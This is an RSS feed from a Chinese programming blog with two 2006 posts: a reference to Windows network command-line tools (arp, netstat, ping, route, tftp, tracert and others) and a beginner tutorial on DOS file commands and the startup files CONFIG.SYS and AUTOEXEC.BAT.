﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>C++博客-小丑-随笔分类-系统应用</title><link>http://www.cppblog.com/cqyangjf/category/2244.html</link><description /><language>zh-cn</language><lastBuildDate>Sun, 25 May 2008 07:32:30 GMT</lastBuildDate><pubDate>Sun, 25 May 2008 07:32:30 GMT</pubDate><ttl>60</ttl><item><title>DOS下常用网络相关命令解释</title><link>http://www.cppblog.com/cqyangjf/archive/2006/11/08/14858.html</link><dc:creator>小丑</dc:creator><author>小丑</author><pubDate>Wed, 08 Nov 2006 09:27:00 GMT</pubDate><guid>http://www.cppblog.com/cqyangjf/archive/2006/11/08/14858.html</guid><wfw:comment>http://www.cppblog.com/cqyangjf/comments/14858.html</wfw:comment><comments>http://www.cppblog.com/cqyangjf/archive/2006/11/08/14858.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/cqyangjf/comments/commentRss/14858.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/cqyangjf/services/trackbacks/14858.html</trackback:ping><description><![CDATA[Arp<br />显示和修改“地址解析协议”(ARP) 所使用的到以太网的 IP 或令牌环物理地址翻译表。该命令只有在安装了 TCP/IP 协议之后才可用。<br />arp -a [inet_addr] [-N [if_addr]]<br /><br />arp -d inet_addr [if_addr]<br /><br />arp -s inet_addr ether_addr [if_addr]<br /><br />参数<br /><br />-a<br /><br />通过询问 TCP/IP 显示当前 ARP 项。如果指定了 inet_addr，则只显示指定计算机的 IP 和物理地址。<br /><br />-g<br /><br />与 -a 相同。<br /><br />inet_addr<br /><br />以加点的十进制标记指定 IP 地址。<br /><br />-N<br /><br />显示由 if_addr 指定的网络界面 ARP 项。<br /><br />if_addr<br /><br />指定需要修改其地址转换表接口的 IP 地址（如果有的话）。如果不存在，将使用第一个可适用的接口。<br /><br />-d<br /><br />删除由 inet_addr 指定的项。<br /><br />-s<br /><br />在 ARP 缓存中添加项，将 IP 地址 inet_addr 和物理地址 ether_addr 关联。物理地址由以连字符分隔的 6 个十六进制字节给定。使用带点的十进制标记指定 IP 地址。项是永久性的，即在超时到期后项自动从缓存删除。<br /><br />ether_addr<br /><br />指定物理地址。<br /><br /><br />Finger<br />在运行 Finger 服务的指定系统上显示有关用户的信息。根据远程系统输出不同的变量。该命令只有在安装了 TCP/IP 协议之后才可用。<br /><br />finger [-l] [user]@computer[...]<br /><br />参数<br /><br />-l<br /><br />以长列表格式显示信息。<br /><br />user<br /><br />指定要获得相关信息的用户。省略用户参数以显示指定计算机上所有用户的信息：<br /><br />@computer<br /><br /><br />Ftp<br />将文件传送到正在运行 FTP 服务的远程计算机或从正在运行 FTP 服务的远程计算机传送文件（有时称作 daemon）。Ftp 可以交互使用。单击“相关主题”列表中的“ftp 命令”以获得可用的“ftp”子命令描述。该命令只有在安装了 TCP/IP 协议之后才可用。Ftp 是一种服务，一旦启动，将创建在其中可以使用 ftp 命令的子环境，通过键入 quit 子命令可以从子环境返回到 Windows 2000 命令提示符。当 ftp 子环境运行时，它由 ftp 命令提示符代表。<br /><br />ftp [-v] [-n] [-i] [-d] [-g] [-s:filename] [-a] [-w:windowsize] [computer]<br /><br />参数<br /><br />-v<br /><br />禁止显示远程服务器响应。<br /><br />-n<br /><br />禁止自动登录到初始连接。<br /><br />-i<br /><br />多个文件传送时关闭交互提示。<br /><br />-d<br /><br />启用调试、显示在客户端和服务器之间传递的所有 ftp 命令。<br /><br />-g<br /><br />禁用文件名组，它允许在本地文件和路径名中使用通配符字符（* 和 ?）。（请参阅联机“命令参考”中的 glob 命令。）<br /><br />-s: filename<br /><br />指定包含 ftp 命令的文本文件；当 ftp 启动后，这些命令将自动运行。该参数中不允许有空格。使用该开关而不是重定向 (&gt; )。<br /><br />-a<br /><br />在捆绑数据连接时使用任何本地接口。<br /><br />-w:windowsize<br /><br />替代默认大小为 4096 的传送缓冲区。<br /><br />computer<br /><br />指定要连接到远程计算机的计算机名或 IP 地址。如果指定，计算机必须是行的最后一个参数。<br /><br /><br />Nbtstat<br />该诊断命令使用 NBT（TCP/IP 上的 NetBIOS）显示协议统计和当前 TCP/IP 连接。该命令只有在安装了 TCP/IP 协议之后才可用。<br /><br />nbtstat [-a remotename] [-A IP address] [-c] [-n] [-R] [-r] [-S] [-s] [interval]<br /><br />参数<br /><br />-a remotename<br /><br />使用远程计算机的名称列出其名称表。<br /><br />-A IP address<br /><br />使用远程计算机的 IP 地址并列出名称表。<br /><br />-c<br /><br />给定每个名称的 IP 地址并列出 NetBIOS 名称缓存的内容。<br /><br />-n<br /><br />列出本地 NetBIOS 名称。“已注册”表明该名称已被广播 (Bnode) 或者 WINS（其他节点类型）注册。<br /><br />-R<br /><br />清除 NetBIOS 名称缓存中的所有名称后，重新装入 Lmhosts 文件。<br /><br />-r<br /><br />列出 Windows 网络名称解析的名称解析统计。在配置使用 WINS 的 Windows 2000 计算机上，此选项返回要通过广播或 WINS 来解析和注册的名称数。<br /><br />-S<br /><br />显示客户端和服务器会话，只通过 IP 地址列出远程计算机。<br /><br />-s<br /><br />显示客户端和服务器会话。尝试将远程计算机 IP 地址转换成使用主机文件的名称。<br /><br />interval<br /><br />重新显示选中的统计，在每个显示之间暂停 interval 秒。按 CTRL+C 停止重新显示统计信息。如果省略该参数，nbtstat 打印一次当前的配置信息。<br /><br /><br />Netstat<br />显示协议统计和当前的 TCP/IP 网络连接。该命令只有在安装了 TCP/IP 协议后才可以使用。<br /><br />netstat [-a] [-e] [-n] [-s] [-p protocol] [-r] [interval]<br /><br />参数<br /><br />-a<br /><br />显示所有连接和侦听端口。服务器连接通常不显示。<br /><br />-e<br /><br />显示以太网统计。该参数可以与 -s 选项结合使用。<br /><br />-n<br /><br />以数字格式显示地址和端口号（而不是尝试查找名称）。<br /><br />-s<br /><br />显示每个协议的统计。默认情况下，显示 TCP、UDP、ICMP 和 IP 的统计。-p 选项可以用来指定默认的子集。 <br /><br />-p protocol<br /><br />显示由 protocol 指定的协议的连接；protocol 可以是 tcp 或 udp。如果与 -s 选项一同使用显示每个协议的统计，protocol 可以是 tcp、udp、icmp 或 ip。<br /><br />-r<br /><br />显示路由表的内容。<br /><br />interval<br /><br />重新显示所选的统计，在每次显示之间暂停 interval 秒。按 CTRL+B 停止重新显示统计。如果省略该参数，netstat 将打印一次当前的配置信息。<br /><br /><br />Ping<br />验证与远程计算机的连接。该命令只有在安装了 TCP/IP 协议后才可以使用。<br /><br />ping [-t] [-a] [-n count] [-l length] [-f] [-i ttl] [-v tos] [-r count] [-s count] [[-j computer-list] | [-k computer-list]] [-w timeout] destination-list<br /><br />参数<br /><br />-t<br /><br />Ping 指定的计算机直到中断。<br /><br />-a<br /><br />将地址解析为计算机名。<br /><br />-n count<br /><br />发送 count 指定的 ECHO 数据包数。默认值为 4。<br /><br />-l length<br /><br />发送包含由 length 指定的数据量的 ECHO 数据包。默认为 32 字节；最大值是 65,527。<br /><br />-f<br /><br />在数据包中发送“不要分段”标志。数据包就不会被路由上的网关分段。<br /><br />-i ttl<br /><br />将“生存时间”字段设置为 ttl 指定的值。<br /><br />-v tos<br /><br />将“服务类型”字段设置为 tos 指定的值。<br /><br />-r count<br /><br />在“记录路由”字段中记录传出和返回数据包的路由。count 可以指定最少 1 台，最多 9 台计算机。<br /><br />-s count<br /><br />指定 count 指定的跃点数的时间戳。<br /><br />-j computer-list<br /><br />利用 computer-list 指定的计算机列表路由数据包。连续计算机可以被中间网关分隔（路由稀疏源）IP 允许的最大数量为 9。<br /><br />-k computer-list<br /><br />利用 computer-list 指定的计算机列表路由数据包。连续计算机不能被中间网关分隔（路由严格源）IP 允许的最大数量为 9。<br /><br />-w timeout<br /><br />指定超时间隔，单位为毫秒。<br /><br />destination-list<br /><br />指定要 ping 的远程计算机。<br /><br />Rcp<br />在 Windows 2000 计算机和运行远程外壳端口监控程序 rshd 的系统之间复制文件。rcp 命令是一个连接命令，从 Windows 2000 计算机发出该命令时，也可以用于其他传输在两台运行 rshd 的计算机之间复制文件。rshd 端口监控程序可以在 UNIX 计算机上使用，而在 Windows 2000 上不能使用，所以 Windows 2000 计算机仅可以作为发出命令的系统参与。远程计算机必须也通过运行 rshd 提供 rcp 实用程序。<br /><br />rcp [-a | -b] [-h] [-r] source1 source2 ... sourceN destination<br /><br />参数<br /><br />-a<br /><br />指定 ASCII 传输模式。此模式在传出文件上将回车/换行符转换为回车符，在传入文件中将换行符转换为回车/换行符。该模式为默认的传输模式。<br /><br />-b<br /><br />指定二进制图像传输模式。没有执行回车/换行符转换。<br /><br />-h<br /><br />传输 Windows 2000 计算机上标记为隐藏属性的源文件。如果没有该选项，在 rcp 命令行上指定隐藏文件的效果与文件不存在一样。<br /><br />-r<br /><br />将源的所有子目录内容递归复制到目标。source 和 destination 都必须是目录，虽然即使源不是目录，使用 -r 也能够工作。但将没有递归。<br /><br />source 和 destination<br /><br />格式必须为 [computer[.user]:]filename。如果忽略了 [computer[.user]:] 部分，计算机将假定为本地计算机。如果省略了 [.user] 部分，将使用当前登录的 Windows 2000 用户名。如果使用了完全合格的计算机名，其中包含句点 (.) 分隔符，则必须包含 [.user]。否则，计算机名的最后部分将解释为用户名。如果指定了多个源文件，则 destination 必须是目录。 <br /><br />如果文件名不是以 UNIX 的正斜杠 (/) 或 Windows 2000 系统的反斜杠 (\) 打头，则假定相对于当前的工作目录。在 Windows 2000 中，这是发出命令的目录。在远程系统中，这是远程用户的登录目录。句点 (.) 表示当前的目录。在远程路径中使用转义字符（\、" 或 '），以便在远程计算机中使用通配符。<br /><br />Rexec<br />在运行 REXEC 服务的远程计算机上运行命令。rexec 命令在执行指定命令前，验证远程计算机上的用户名，只有安装了 TCP/IP 协议后才可以使用该命令。<br /><br />rexec computer [-l username] [-n] command<br /><br />参数<br /><br />computer <br /><br />指定要运行 command 的远程计算机。<br /><br />-l username <br /><br />指定远程计算机上的用户名。<br /><br />-n<br /><br />将 rexec 的输入重定向到 NULL。<br /><br />command <br /><br />指定要运行的命令。<br /><br />Route<br />控制网络路由表。该命令只有在安装了 TCP/IP 协议后才可以使用。<br /><br />route [-f] [-p] [command [destination] [mask subnetmask] [gateway] [metric costmetric]]<br /><br />参数<br /><br />-f<br /><br />清除所有网关入口的路由表。如果该参数与某个命令组合使用，路由表将在运行命令前清除。<br /><br />-p<br /><br />该参数与 add 命令一起使用时，将使路由在系统引导程序之间持久存在。默认情况下，系统重新启动时不保留路由。与 print 命令一起使用时，显示已注册的持久路由列表。忽略其他所有总是影响相应持久路由的命令。<br /><br />command<br /><br />指定下列的一个命令。<br /><br />命令 目的 <br />print 打印路由 <br />add 添加路由 <br />delete 删除路由 <br />change 更改现存路由 <br /><br />destination<br /><br />指定发送 command 的计算机。<br /><br />mask subnetmask<br /><br />指定与该路由条目关联的子网掩码。如果没有指定，将使用 255.255.255.255。<br /><br />gateway <br /><br />指定网关。<br /><br />名为 Networks 的网络数据库文件和名为 Hosts 的计算机名数据库文件中均引用全部 destination 或 gateway 使用的符号名称。如果命令是 print 或 delete，目标和网关还可以使用通配符，也可以省略网关参数。<br /><br />metric costmetric<br /><br />指派整数跃点数（从 1 到 9999）在计算最快速、最可靠和（或）最便宜的路由时使用。<br /><br />Rsh<br />在运行 RSH 服务的远程计算机上运行命令。该命令只有在安装了 TCP/IP 协议后才可以使用。<br /><br />rsh computer [-l username] [-n] command<br /><br />参数<br /><br />computer<br /><br />指定运行 command 的远程计算机。<br /><br />-l username<br /><br />指定远程计算机上使用的用户名。如果省略，则使用登录的用户名。<br /><br />-n<br /><br />将 rsh 的输入重定向到 NULL。<br /><br />command<br /><br />指定要运行的命令。<br /><br />Tftp<br />将文件传输到正在运行 TFTP 服务的远程计算机或从正在运行 TFTP 服务的远程计算机传输文件。该命令只有在安装了 TCP/IP 协议后才可以使用。<br /><br />tftp [-i] computer [get | put] source [destination]<br /><br />参数<br /><br />-i<br /><br />指定二进制图像传送模式（也称为“八位字节”）。在二进制图像模式中，文件一个字节接一个字节地逐字移动。在传送二进制文件时使用该模式。<br /><br />如果省略了 -i，文件将以 ASCII 模式传送。这是默认的传送模式。此模式将 EOL 字符转换为 UNIX 的回车符和个人计算机的回车符/换行符。在传送文本文件时应使用此模式。如果文件传送成功，将显示数据传输率。<br /><br />computer<br /><br />指定本地或远程计算机。<br /><br />put<br /><br />将本地计算机上的文件 destination 传送到远程计算机上的文件 source。<br /><br />get<br /><br />将远程计算机上的文件 destination 传送到本地计算机上的文件 source。<br /><br />如果将本地计算机上的文件 file-two 传送到远程计算机上的文件 file-one，请指定 put。如果将远程计算机上的文件 file-two 传送到远程计算机上的文件 file-one，请指定 get。<br /><br />因为 tftp 协议不支持用户身份验证，所以用户必须登录，并且文件在远程计算机上必须可以写入。<br /><br />source<br /><br />指定要传送的文件。如果本地文件指定为 -，则远程文件在 stdout 上打印出来（如果获取），或从 stdin（如果放置）读取。<br /><br />destination<br /><br />指定将文件传送到的位置。如果省略了 destination，将假定与 source 同名。<br /><br /><br />Tracert<br />该诊断实用程序将包含不同生存时间 (TTL) 值的 Internet 控制消息协议 (ICMP) 回显数据包发送到目标，以决定到达目标采用的路由。要在转发数据包上的 TTL 之前至少递减 1，必需路径上的每个路由器，所以 TTL 是有效的跃点计数。数据包上的 TTL 到达 0 时，路由器应该将“ICMP 已超时”的消息发送回源系统。Tracert 先发送 TTL 为 1 的回显数据包,并在随后的每次发送过程将 TTL 递增 1，直到目标响应或 TTL 达到最大值，从而确定路由。路由通过检查中级路由器发送回的“ICMP 已超时”的消息来确定路由。不过，有些路由器悄悄地下传包含过期 TTL 值的数据包，而 tracert 看不到。<br /><br />tracert [-d] [-h maximum_hops] [-j computer-list] [-w timeout] target_name<br /><br />参数<br /><br />/d<br /><br />指定不将地址解析为计算机名。<br /><br />-h maximum_hops<br /><br />指定搜索目标的最大跃点数。<br /><br />-j computer-list<br /><br />指定沿 computer-list 的稀疏源路由。<br /><br />-w timeout<br /><br />每次应答等待 timeout 指定的微秒数。<br /><br />target_name<br /><br />目标计算机的名称。 <br /><img src ="http://www.cppblog.com/cqyangjf/aggbug/14858.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/cqyangjf/" target="_blank">小丑</a> 2006-11-08 17:27 <a href="http://www.cppblog.com/cqyangjf/archive/2006/11/08/14858.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>DOS命令基础</title><link>http://www.cppblog.com/cqyangjf/archive/2006/11/08/14857.html</link><dc:creator>小丑</dc:creator><author>小丑</author><pubDate>Wed, 08 Nov 2006 09:26:00 GMT</pubDate><guid>http://www.cppblog.com/cqyangjf/archive/2006/11/08/14857.html</guid><wfw:comment>http://www.cppblog.com/cqyangjf/comments/14857.html</wfw:comment><comments>http://www.cppblog.com/cqyangjf/archive/2006/11/08/14857.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/cqyangjf/comments/commentRss/14857.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/cqyangjf/services/trackbacks/14857.html</trackback:ping><description><![CDATA[
		<p>Dos 简介<br />在讲DOS之前，我们一定会问什么是DOS呢？这儿就告诉你，DOS的全称是磁盘操作系统，它是IBM个人计算机的主操作系统，是用来管理、调度整个微机的软、硬件资源的神经中枢。正因为它有如此重要的地位，所以，必须首先将DOS装入系统，微机才能正常工作。</p>
		<p>首先我来讲一下如何启动DOS：在启动DOS 之前必须首先做好一块DOS系统盘，也就是先将DOS系统安装在软盘或硬盘上。这时，我们就可以启动DOS了，启动DOS有两种方法：一个是冷启动，另一个是热启动。</p>
		<p>l         冷启动：计算机处于关机状态时，直接打开电源进入DOS系统的启动方式，屏幕上显示操作系统提示符，等待你的使用。</p>
		<p>l         热启动：是在开机状态下重新启动DOS。通常是为了从错误的程序中摆脱出来，热启动的方法是，按下CTRL键与ALT键，再按下DEL键，然后同时放开三个键。这时系统不进行自检，只是把DOS调入内存。</p>
		<p>启动DOS后，您一定看到了一个符号“A:&gt;”，这是什么呢？这就是我们常说的DOS提示符，提示符的出现意味着DOS系统启动成功，处于等待用户从键盘上输入DOS命令的状态。“A:&gt;”就是说明我们现在从A盘启动的。</p>
		<p>在DOS系统中我们经常听到“在某个目录下有你需要的文件”，那么到底什么是文件，什么是目录呢？</p>
		<p>文件是指存储在计算机外存储器上的具有符号名的相关数据信息的集合。它可以是计算机语言的源程序、目标程序，也可以是我们写的文章、信件、书籍，还可以是一些数据资料，如人事档案的数据、财务报表、工资报表等等。所以，我们的磁盘上有很多文件，为了便于管理，把文件名放在每个盘的特定位置上，这特定的位置就叫目录。目录中除了文件名外，还包含文件的其它信息，如文件的大小、建立文件的日期和时间等等。</p>
		<p>在DOS中目录分为两类：</p>
		<p>l         根目录：根目录是用命令FORMAT格式化磁盘时建立的，每个磁盘都有一个根目录，用“\”表示，在根目录下可以包含文件名和目录名，它所包含的目录称为子目录。</p>
		<p>l         子目录：子目录是用建立子目录命令建立的，它用子目录名表示。建立子目录的目的是将不同类的文件放在不同的目录下，这样对于文件使用、查找都十分方便。</p>
		<p>DOS常用命令的使用<br />DOS系统是我们计算机的心脏，整个计算机的命运都掌握在它的手中，计算机的一举一动都是作为大脑的DOS指挥的。DOS 靠的是什么力量，使它有这么大的威力呢？这就是DOS丰富的命令了，DOS有内部命令和外部命令两种。这里我就讲一些常用的DOS命令。</p>
		<p>DIR （查看文件与目录信息命令）<br />DIR命令是用来查看文件与目录信息的命令，使用它我们可以看到自己机器的内容，能够了解我们机器上的文件、目录及它们的信息。</p>
		<p>在DOS提示符C:\&gt;后敲入“DIR”，然后按回车键，就可以看到文件、目录和一些相关的信息，它们包括了当前驱动器下文件的名称、大小和建立时间，当前驱动器下的目录信息及这个驱动器所包括的文件数、所占去的磁盘空间和剩余的磁盘空间。</p>
		<p>这时你也一定注意到了文件太多了，一屏显示不完，用DIR查看文件只能看到最后一屏的内容，其他的内容都飞快的*动上去了。这时我们就需要用DIR/P命令，可以让计算机把文件分屏显示，在DOS提示符下敲入“DIR/P”，然后按回车键，就可以看到第一屏的内容，在屏幕的底部有一行英文是：如果你看完了这一屏，随便敲一个键就可以看下一屏。</p>
		<p>如果您觉得还是不太方便的话，那么可以敲入命令“DIR/W”，这回所有的文件在一屏内显示出来，但是有一点，原来文件的大小和生成时间都被省略了。如果您只想知道目录内文件，而不关心大小和生成时间的话，就可以使用DIR/W。</p>
		<p>DIR命令不但可以查看目录里有什么文件，还可以查看目录中某个文件的信息，只需在DOS提示符下输入“DIR 文件名”，就可以看到该文件的大小、生成时间、路径和一些文件附加信息。</p>
		<p>更重要的是DIR还可以查找和显示一类文件，如果我们想查找以A开头的所有文件，就可以使用通配符，在DOS提示符下输入“DIR A*”，然后按回车键就可以了。</p>
		<p>总之，DIR命令太强大了，如果您喜欢可以继续试一试DIR和/W、/P及通配符间的配合使用。</p>
		<p>CD（转换当前目录命令）<br />CD命令是转换当前目录的命令，它使我们可以进入任何一个地方。如果在C盘的根目录下，想进入UCDOS目录，就可以输入“CD UCDOS”，然后按回车键，提示符就会变成C:\UCDOS&gt;了，这就是说我们现在的工作目录是C盘根目录下的UCDOS子目录。如果想返回上一层目录，输入“CD..”，然后按回车键就可以了。</p>
		<p>我们又回到了C盘根目录下，现在再进入WINDOWS目录，输入“CD WINDOWS”，按回车键，要进入WINDOWS的下一级目录SYSTEM，请输入“CD SYSTEM”，然后按回车键就可以了。</p>
		<p>这时想返回到根目录，你有什么办法呢？用CD..吗？当然可以，不过得需要两次，有没有其他的办法呢？其实只需输入“CD\”三个字符，然后按回车键，这样我们一下子就回到了根目录。</p>
		<p>CD命令可以使我们到达磁盘的任何一个目录，注意如果要到一个非当前磁盘的某个目录时，要先把当前盘变为要去的磁盘。如果要到D盘，就需要“D：”，然后按回车键。</p>
		<p>MD（建立新目录命令）<br />磁盘上这么多目录是怎么来的呢？很简单是我们自己建立的，我们建立这些目录的目的，就是为了分类组织文件，如果我们有一类新的文件，就需要再建立一个新的目录。现在，我们来建立一个DNXX目录，输入“MD DNXX”，然后按回车键。</p>
		<p>输入DIR查看一下目录是不是有变化，这时就会发现在当前目录下已经多了一个DNXX目录，让我们进入这个目录看一看，输入“CD DNXX”，按回车键，就进入了这层目录，我们并没有向它里面放文件或子目录，查看一下它是空的吗？输入“DIR”，按回车键，就会发现有两个目录在里面，其实这两个目录在每一个目录中都存在。“.”代表此目录自身，“..”代表上一层目。</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
				<br />RD（删除旧目录命令）<br />能建立目录当然可以删除它，我们这里再删除DNXX，首先我们到DNXX的上一级目录，然后输入“RD DNXX”，按回车键，就可以删除它了。</p>
		<p>要删除当前目录下的一个子目录，输入RD空格加上子目录就可以完成任务。但我们一定要注意四个问题：</p>
		<p>l         要删除的目录里不能有子目录</p>
		<p>l         要删除的目录内不能有任何文件</p>
		<p>l         不能删除当前目录</p>
		<p>l         根目录不能删除</p>
		<p>COPY（拷贝复制命令）<br />COPY的格式是“COPY 源文件 目的文件”，现在我们简单的先使用一下COPY命令，如果要将根目录下的一个AUTOEXEC.BAT文件，重新复制一份做备份叫AUTOEXEC.OLD，输入“COPY AUTOEXEC.BAT AUTOEXEC.OLD”，按回车键，这样就完成了一个COPY命令。</p>
		<p>使用DIR 命令查看一下，输入“DIR”，按回车键，将会发现除了原来的AUTOEXEC.BAT文件外，还有一个AUTOEXEC.OLD文件，而且两个文件大小一样。</p>
		<p>DEL（删除文件命令）<br />象删除目录一样，我们可以很简单的删除文件。首先来简单的删除当前目录下的一个文件AUTOEXEC.OLD，输入“DEL AUTOEXEC.OLD”，按回车键。</p>
		<p>输入“DIR/W”命令查看一下，文件果然没了，如果要删除一类文件，就可以使用通配符。如果要删除非当前目录中的文件，例如删要删除D:\TEMP下的所有文件，应该输入“DEL D:\TEMP\*.*”，然后按回车键，这时计算机将会告诉你此目录下的所有文件将被删除，同时问你是否继续，如果你不想删除，输入N（NO），如果确实想删除，输入Y（YES）就可以了。</p>
		<p>总之，删除无用的文件，可以使磁盘的可利用的空间增大。但是在删除文件之前，你最好要知道文件的用途，确实没有用之后，才可以删除。</p>
		<p>REN（更改文件名命令）<br />如果想给一个文件改个名字，可以用REN命令，REN的格式是：REN 源文件名 目的文件名。如果要把AUTOEXEC.BAT改为GOHOME.BAT，输入“REN AUTOEXEC.BAT GOHOME.BAT”，然后按回车键，就可以改变文件名，但是你一定要注意源文件名和目的文件名要在一个目录内。</p>
		<p>TYPE（显示文本文件内容命令）<br />也许我们特别想了解文件里边的内容，那么用DOS什么命令呢？这就是TYPE命令，它的格式是：TYPE 文件名，一般使用它可以查看文本文件和批处理文件。如果想知道文件GOHOME.BAT的内容，输入“TYPE GOHOME.BAT”，按回车键就可以了。</p>
		<p>但是，我们一般不要使用TYPE来看其他类型扩展名的文件，否则会出现一些怪字符。</p>
		<p>FORMAT（格式化磁盘命令）<br />大家都知道刚出厂的磁盘是不能直接使用的，不管我们使用什么命令，都会出错误的，这是为什么呢？这是因为磁盘都是要在使用前进行格式化的。也就是在磁盘上画格子，做标记，为我们以后写数据做准备。这就要用到这个命令FORMAT，它的使用格式很简单，就是FORMAT 加上要格式化的磁盘。如果要格式化A:，输入“FORMAT A：”，然后按回车键，这时计算机就让您在A：驱中插入磁盘，您插入磁盘后，按一下回车键，计算机就开始对软盘进行格式化了。</p>
		<p>当屏幕上显示已经完成百分之百时，出现一个提示，让你为磁盘起一个名字，输入需要的名字后，按回车键，计算机就向你报告磁盘的属性，包括总空间、可用空间、坏空间和当前的卷标。同时，提示你是否还格式化其它的磁盘。如果你还有磁盘要格式化，就输入“Y”，否则输入“N”。</p>
		<p>我们已经学会了格式化磁盘，但是一定要注意，在格式化一张磁盘时会把磁盘上的所有文件都删除掉，所以要确认磁盘中的内容都是无用的，否则会造成不可估量的损失。FORMAT命令对处学者是一个慎用的DOS命令。</p>
		<p>DOS的两个重要文件<br />DOS 系统启动并开始工作时，将首先执行CONFIG.SYS，紧接着执行AUTOEXEC.BAT文件。它们是DOS系统的很重要的两个文件，下面我们就分别讲这两了命令。</p>
		<p>CONFIG.SYS<br />CONFIG.SYS文件是包含特殊命令的文本文件。这些命令在计算机启动时配置MS-DOS和应用程序使用的计算机组件。当MS-DOS启动时，它执行CONFIG.SYS文件中的命令。一般，CONFIG.SYS文件放在C：盘的根目录下。现在我们来看一下自己机器上的系统配置文件内容。</p>
		<p>输入“TYPE CONFIG.SYS”，然后按回车键，这时显示了机器的CONFIG.SYS文件的内容，这个文件包括四个命令：</p>
		<p>DOS=HIGH</p>
		<p>BUFFERS=15</p>
		<p>DEVICE=C:\DOS\HIMEM.SYS</p>
		<p>FILES=40</p>
		<p>也就是说当DOS启动时执行了这四个DOS命令，给当前的机器系统的内存、缓冲区等进行了简单的配置。在DOS系统有一些常用的CONFIG.SYS命令，现在我们就讲解一下：</p>
		<p>l         BUFFERS：设置系统缓冲区的大小</p>
		<p>l         FILES：设置系统一次能打开的文件个数</p>
		<p>l         COUNTRY：指定国别，用于指定时间、日期和货币的格式</p>
		<p>l         INSTALL：装入系统驻留程序</p>
		<p>l         DEVICE：用于装入设备的驱动程序到内存中</p>
		<p>l         LASTDRIVE：指定能够设置的最大驱动器数目</p>
		<p>l         DEVICEHIGH：用于装入设备的驱动程序到上位内存中</p>
		<p>l         NUMLOCK：用于指定键盘上的NUM LOCK键的状态</p>
		<p>l         DOS：指定DOS系统装入的内存位置</p>
		<p>l         SHELL：用于指定DOS系统使用的命令解释程序的名称和位置</p>
		<p>l         DRIVPARM：定义磁盘或磁带的参数</p>
		<p>l         STACKS：对于处理硬中断支持数据磁道的动态使用</p>
		<p>l         FCBS：指定MS-DOS一次能打开的文件控制块的数目</p>
		<p>l        TCHES：指定特定的选项</p>
		<p>l         BREAK：设置或清除对Ctrl+C的检测</p>
		<p>l         REM：添加注释和评语，用来添加一些说明</p>
		<p>l         SET：设置环境变量</p>
		<p>l         INCLUDE：用于在一个控制块中包含另一个控制块的内容</p>
		<p>l         MENUCOLOR：设置启动菜单文字和背景的颜色</p>
		<p>l         MENUDEFAULT：指定启动菜单为默认菜单项目</p>
		<p>l         MENUITEM：设置菜单项</p>
		<p>l         SUBMENU：定义启动菜单某个菜单项的子菜单</p>
		<p>CONFIG.SYS文件可以在任何一个字处理软件中编写。如果有兴趣可以编写另外的一些多重配置文件。</p>
		<p>AUTOEXEC.BAT<br />AUTOEXEC.BAT文件是自动批处理文件，是一些在系统启动时将要自动执行的命令序列。系统启动时，在出现系统提示符前将判断启动盘是否存在文件“AUTOEXEC.BAT”，如果存在，则自动执行其内部的全部语句。自动执行批处理文件可由操作系统提供，也可由用户自己建立或修改。它的内容应该是启动后希望立即自动执行的一系列命令。AUTOEXEC.BAT文件一般放在启动盘的根目录下，只有这样才能在计算机启动时自动执行。       </p>
		<p>现在我们看一下自己机器上的AUTOEXEC.BAT文件。输入“TYPE AUTOEXEC.BAT”，然后按ENTER键，这时显示了自动批处理文件的内容，也就是说，当计算机启动时就自动执行了这四行命令：</p>
		<p>l         @echo off屏蔽该批处理文件中命令的显示</p>
		<p>l         执行c:\dos\smartdrv.exe命令就启动了smartdrv程序，在扩展内存创建了一个磁盘缓冲区，加速了MS-DOS系统磁盘的操作速度</p>
		<p>l         set temp=c:\temp设置了TEMP环境变量</p>
		<p>l         最后执行了MS-DOS Anti-Virus程序。</p>
		<p>总之，AUTOEXEC.BAT文件是一种自动批处理文件，并且具有其他批处理文件的性质，在AUTOEXEC.BAT文件中可以包括，任何可在DOS提示符下执行的文件以及专用的批处理文件。AUTOEXEC.BAT文件和CONFIG.SYS文件两个很重要的文件，它们是互相补充来提高系统的性能。</p>
		<p>
				<br /> <br /> 2003-10-4 10:57:00          <br /> <br />  碧岚     <br />  <br />  <br />  等级：论坛游民 <br />  文章：171<br />  积分：353<br />  门派：核心管理 <br />  注册：2003-10-3<br />               第 2 楼  <br /> <br /> </p>
		<p>
				<br />重要DOS命令一览表 <br />APPEND：能够打开指定目录下的数据文件。</p>
		<p>语法：Append [[驱动器：]路径[；…]]</p>
		<p>举例：为了让程序在当前目录下直接打开B：驱动器的LETTERS目录和A：驱动器的REPORTS目录下的数据文件，可以使用命令：Append B:\letters；A:\reports。</p>
		<p>
		</p>
		<p>ATTRIB：显示和改变文件的属性。</p>
		<p>语法：ATTRIB [+R|-R] [+A|-A] [+S|-S] [+H|-H] [[驱动器：][路径] 文件名] [/S] 。</p>
		<p>举例：为了把当前Report.txt文件变为只读文件，可以使用命令：ATTRIB +R Report.txt；为了去掉在B：驱动器下的\PUBLIC\JONES的所有文件和其子目录下的所有文件的只读属性，可以使用命令：Append –r B: \public\jones\*.* /s。</p>
		<p>
		</p>
		<p>CD：显示当前目录的名字和进入当前目录。</p>
		<p>语法：CD [驱动器：][路径]。</p>
		<p>举例：略。</p>
		<p>
		</p>
		<p>CHKDSK：检查磁盘的状态和显示磁盘报告，也能够修复磁盘的错误。状态报告显示了当前系统下的文件分配表和目录下的错误状态，同时也能够显示当前的磁盘使用情况的总结。如果在磁盘上的错误是不可解决的就用标记提示您。</p>
		<p>语法：CHKDSK [驱动器：][[路径] 文件名] [/F] [/V]。</p>
		<p>举例：为了查看C：驱动器已经占去和剩余多少磁盘空间，检查磁盘的错误，使用下面的命令：CHKDSK C：。</p>
		<p>
		</p>
		<p>CLS：清屏，只显示光标和命令提示符。</p>
		<p>语法：CLS。</p>
		<p>
		</p>
